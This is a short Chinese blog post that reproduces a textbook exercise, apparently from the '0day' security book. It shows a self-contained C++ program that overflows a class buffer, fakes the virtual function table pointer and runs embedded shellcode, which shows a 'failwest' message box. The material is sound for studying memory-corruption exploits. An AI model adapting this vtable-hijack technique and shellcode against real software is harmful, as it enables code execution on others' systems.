溢出 C++的虚函数表

2020-9-8 流沙 C/C++

代码来源0day书籍, 需要自行修改测试地址

测试代码


#include <windows.h>
#include <iostream.h>

char shellcode[]= 
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" 
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" 
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" 
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" 
 "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" 
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" 
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" 
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" 
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" 
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" 
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x50\xAE\x42\x00";//set fake virtual function pointer 


class Failwest 
{ 
	public: 
		char buf[200]; 
		virtual void test(void) 
		{ 
		cout<<"Class Vtable::test()"<<endl; 
		} 
}; 
Failwest overflow, *p;

void main(void) 
{ 
	char* p_vtable; 
	p_vtable=overflow.buf-4;//point to virtual table 
	//reset fake virtual table to 0x004088cc 
	//the address may need to ajusted via runtime debug 
	p_vtable[0]=0x00; 
	p_vtable[1]=0xAF; 
	p_vtable[2]=0x42; 
	p_vtable[3]=0x00; 
	strcpy(overflow.buf,shellcode);//set fake virtual function 
	//pointer 
	p=&overflow; 
	p->test(); 
}

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